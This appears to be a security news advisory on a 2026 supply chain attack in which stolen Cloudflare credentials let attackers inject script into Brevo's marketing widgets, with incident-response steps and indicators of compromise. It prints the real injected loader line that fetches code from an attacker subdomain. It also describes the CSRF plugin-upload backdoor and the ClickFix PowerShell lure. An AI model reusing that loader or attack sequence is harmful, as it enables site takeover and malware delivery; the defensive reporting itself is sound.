It started as what looked like a contained authentication flaw. It is now one of the most significant web-based supply chain attacks of 2026. Sansec’s forensic research shows that threat actors used a stolen, long-lived Cloudflare API key to take over Brevo’s edge infrastructure. From there they turned legitimate marketing widgets into a malware delivery system and hijacked administrative WordPress sessions.
Brevo’s client list includes eBay, Louis Vuitton, Michelin, and Amnesty International. On September 10, Brevo disclosed a SAML Single Sign-On (SSO) vulnerability that affected only six customer accounts. That disclosure understated the problem. Four days later, the attackers used deep infrastructure access to poison the JavaScript assets served to Brevo’s entire global customer base.
“Supply chain attacks like this have a huge amplification and are the holy grail for every threat actor,” the Sansec Forensics Team said in its technical advisory. By compromising one upstream vendor, the attackers got past the perimeter defenses of more than 100,000 separate organizations.
The root cause: a hardcoded key and one big Cloudflare account
The September 14 mass infection traces back to a secrets management failure. The attackers found a hardcoded, long-lived Cloudflare API key in Brevo’s internal source code. That one credential gave them full administrative permissions over Brevo’s Cloudflare environment.
An architectural choice made it far worse. Brevo ran several mission-critical apex domains under a single Cloudflare account: brevo.com, sibforms.com, sibautomation.com, sendinblue.com, and the email-tracking domain sendibt1.com. That decision is what turned one leaked credential into a company-wide compromise.
With the key, the attackers could do much more than change static files. They could rewrite DNS records and edit edge-routing rules in every one of those zones. Brevo has confirmed that it removed the hardcoded key from its codebase and replaced it with short-lived, scoped tokens. During the exposure window, though, the attackers set up a persistent foothold that was hard to spot.
How the attackers used DNS and Cloudflare Workers
Traditional Magecart-style skimming attacks breach individual e-commerce servers and inject code there. This campaign went after the Content Delivery Network (CDN) and edge-computing layer instead.
The attackers created new A records in the legitimate sendibt1.com DNS zone. Subdomains such as cdn.sendibt1.com, cdn2.sendibt1.com, and cdn9.sendibt1.com pointed to attacker-controlled IP addresses, and all of them ran through Cloudflare’s proxy network. That gave the attackers free SSL termination and DDoS protection, and it hid their real origin servers from threat intelligence crawlers.
They then used Cloudflare Workers (or Cloudflare Snippets) to set up dynamic content transformation rules. When a victim’s browser requested a legitimate Brevo asset, either the sdk-loader.js tracker or the brevo-conversations.js chat widget, a Cloudflare Worker intercepted the response and appended a malicious JavaScript loader on the fly.
;(function(){ var s=document.createElement("script"); s.src="https://cdn2.sendibt1.com/f.js"; s.async=true; var h=document.head||document.documentElement; h.appendChild(s);})();
The modified assets served from cdn.brevo.com kept their original Last-Modified HTTP headers. This looks deliberate. Automated cache-busting and superficial security scanners often rely on header timestamps to detect unauthorized file changes, and the unchanged headers gave them nothing to flag.
📬 Stay Ahead of Cyber Threats
Get the latest cybersecurity news, critical vulnerabilities, threat intelligence, tutorials, and exclusive giveaways delivered straight to your inbox. No spam. Unsubscribe anytime.
Subscribe to the Newsletter →Two payloads for two kinds of visitors
Once the malicious f.js payload ran in a victim’s browser, it fingerprinted the environment. Depending on the user’s privilege level and session state, it then took one of two paths.
Path A: silent WordPress backdoor through CSRF and session riding
Site administrators and developers who were browsing their own WordPress front end while logged into wp-admin did not see the ClickFix scam. The malware ran a Cross-Site Request Forgery (CSRF) and session-riding attack against them instead.
The malicious JavaScript was executing in the context of the trusted domain, so it had access to the administrator’s active WordPress session cookies. It silently built and sent a POST request to the plugin upload endpoint, /wp-admin/update.php?action=upload-plugin.
The payload was a malicious plugin archive, wm.zip, hosted at cdn10.sendibt1.com/p/wm.zip. Right after the upload, the script sent a GET request to /wp-admin/plugins.php?action=activate, which installed and activated a persistent PHP backdoor on the server.
The admin’s own browser sent these requests with valid session tokens, so WordPress treated them as legitimate administrative actions. No warnings fired, and the backend passed to the attackers without a sign of trouble. Sansec could not recover wm.zip before the infrastructure was taken down. Its behavioral analysis strongly indicates the archive held a customized web shell built for long-term persistence and lateral movement.
Path B: the ClickFix social engineering scam
Everyone else got the ClickFix overlay. That included the great majority of ordinary site visitors and people who clicked “unsubscribe” links in Brevo-hosted email campaigns.
ClickFix is a social engineering technique built to get around browser sandboxing, Endpoint Detection and Response (EDR) systems, and antivirus heuristics. It works because operating systems generally trust actions the user starts themselves.
Visitors saw a convincing full-page overlay that imitated a Cloudflare CAPTCHA or a “Browser Verification” check. It said the browser had failed a human verification test and offered “manual instructions” to fix it.
Behind the overlay, the malicious JavaScript silently wrote a heavily obfuscated PowerShell command to the user’s clipboard. The overlay then told the user to press Windows Key + R to open the Run dialog, or to open a terminal, and press Ctrl + V to paste the “fix.” When the victim ran the pasted command, they bypassed every browser security boundary and gave the attacker’s payload, typically an infostealer such as Lumma or Vidar, direct execution rights on their machine.
C2 cloaking and the infrastructure burn
The threat actors kept tight operational security (OPSEC). Their Command and Control (C2) infrastructure was cloaked to avoid automated analysis by security vendors and sandboxes.
When f.js sent its fingerprinting POST requests to API endpoints such as /api/v1/0044d4a, the C2 server evaluated the incoming traffic. If the request lacked specific browser fingerprints, came from an Autonomous System Number (ASN) tied to a cybersecurity firm, or looked like a headless scanner, the server returned a harmless cloaking response:
{"s":0,"r":"https:\/\/www.google.com"}
That sent security researchers to Google’s homepage and hid what the payload actually did. The attackers also limited distribution to a four-hour window on September 14, from 16:05:18 to 20:12:53 UTC. By the time manual analysis began, they had deleted the malicious DNS records and the hosts returned NXDOMAIN errors, which made reverse-engineering harder.
Incident response for sysadmins
If your organization uses Brevo for marketing automation or CRM, or embeds Brevo widgets on its website, assume your WordPress environment was targeted on September 14 and start incident response now.
Audit web server access logs
Query your Nginx, Apache, or WAF logs for the attack window (September 14, 16:05 to 20:13 UTC). Look for unauthorized, automated plugin installations sent through the REST API or admin-ajax:
# Search for malicious plugin uploadsgrep "POST /wp-admin/update.php?action=upload-plugin" /var/log/nginx/access.log | grep "14/Sep/2026"# Search for immediate plugin activationsgrep "GET /wp-admin/plugins.php?action=activate" /var/log/nginx/access.log | grep "14/Sep/2026"
Audit the file system directly
The malicious plugins installed through this vector are coded to hide from the standard WordPress plugins.php admin dashboard, so the WordPress UI cannot confirm your site is clean.
Connect over SSH or FTP and inspect wp-content/plugins/. Compare the directories on disk against the active plugins listed in your database (wp_options, or wp_sitemeta for multisite). Look for directories created on September 14 that have generic names, random alphanumeric strings, or names that imitate legitimate plugins (for example, wp-security-update-core).
Advise end users and employees
If you run a high-traffic consumer site, your visitors were very likely served the ClickFix CAPTCHA overlay. Send a security advisory to your customers and internal staff. Anyone who visited your site on September 14 and interacted with a “Cloudflare Verification” prompt should disconnect from the network right away and run a full offline scan with Windows Defender or a reputable enterprise EDR product to check for infostealers.
Indicators of compromise (IoCs)
Ingest the following indicators into your SIEM, EDR, DNS filtering, and Web Application Firewall (WAF).
Warning: do not block the apex domain sendibt1.com at the DNS or firewall level. Brevo uses it for legitimate email open and click tracking, and blocking it will break marketing analytics and email deliverability for every Brevo customer on your network. Block only the malicious subdomains listed below.
Malicious domains and infrastructure
cdn.sendibt1.com(104.21.77.104)cdn2.sendibt1.comcdn3.sendibt1.comcdn4.sendibt1.comcdn9.sendibt1.com(188.114.97.3)cdn10.sendibt1.comcdn11.sendibt1.com
Malicious JavaScript hashes (SHA256)
- Clean
sdk-loader.js:fe8447fd1ec4dca652b71db2c749fcc24a5bec3875f3654042169fb2418aed09 - Injected
sdk-loader.js(cdn2):58a5c601c9df7ca2120435588fc39f97712d9b878795f6ee500590099a432308 - Injected
sdk-loader.js(cdn11):f67d572d2d30407b3f470904326411450763108980cdad89550fbb221fb06782 - Clean
brevo-conversations.js:26166cd87ff07e7a50317a24126d14b262e842c5715585636dee3ab3f227ddca - Injected
brevo-conversations.js:9b62c12bc5c7feb9802f58e6cf75a368690df3c754e37cc64483a92acacf87a5
C2 API endpoints and telemetry
/api/v1/4aff112?tk=(clipboard command retrieval)/api/v1/b832c14?e=(event beacon: click, copy, fallback, failure)/api/v1/0044d4aand/api/v1/8e4c615(fingerprinting POST)/api/v1/e08a3c4and/api/v1/f659473(proof-of-work token generation)
What the Brevo breach means for third-party scripts
Every third-party script you embed on your site makes that vendor’s security posture, secrets management, and infrastructure design part of your attack surface. Perimeter security does not cover that. Supply chain compromises pay off for attackers because one vendor breach reaches thousands of downstream sites at once.
Subresource Integrity (SRI) is the most direct defense against this kind of edge-based injection. It is a native browser feature that lets you pin a cryptographic hash to an external JavaScript file. If a compromised CDN or a malicious Cloudflare Worker changes the script in transit, the browser sees the hash mismatch and refuses to run the code, so the injection fails on the client.
Hardcoded, long-lived API keys are a known anti-pattern, and this breach shows what one leaked key can do: DNS and edge-routing hijacks across an entire vendor. Keep secrets in a vault, enforce least-privilege access, and use only short-lived, ephemeral tokens for CI/CD pipelines and application integrations.
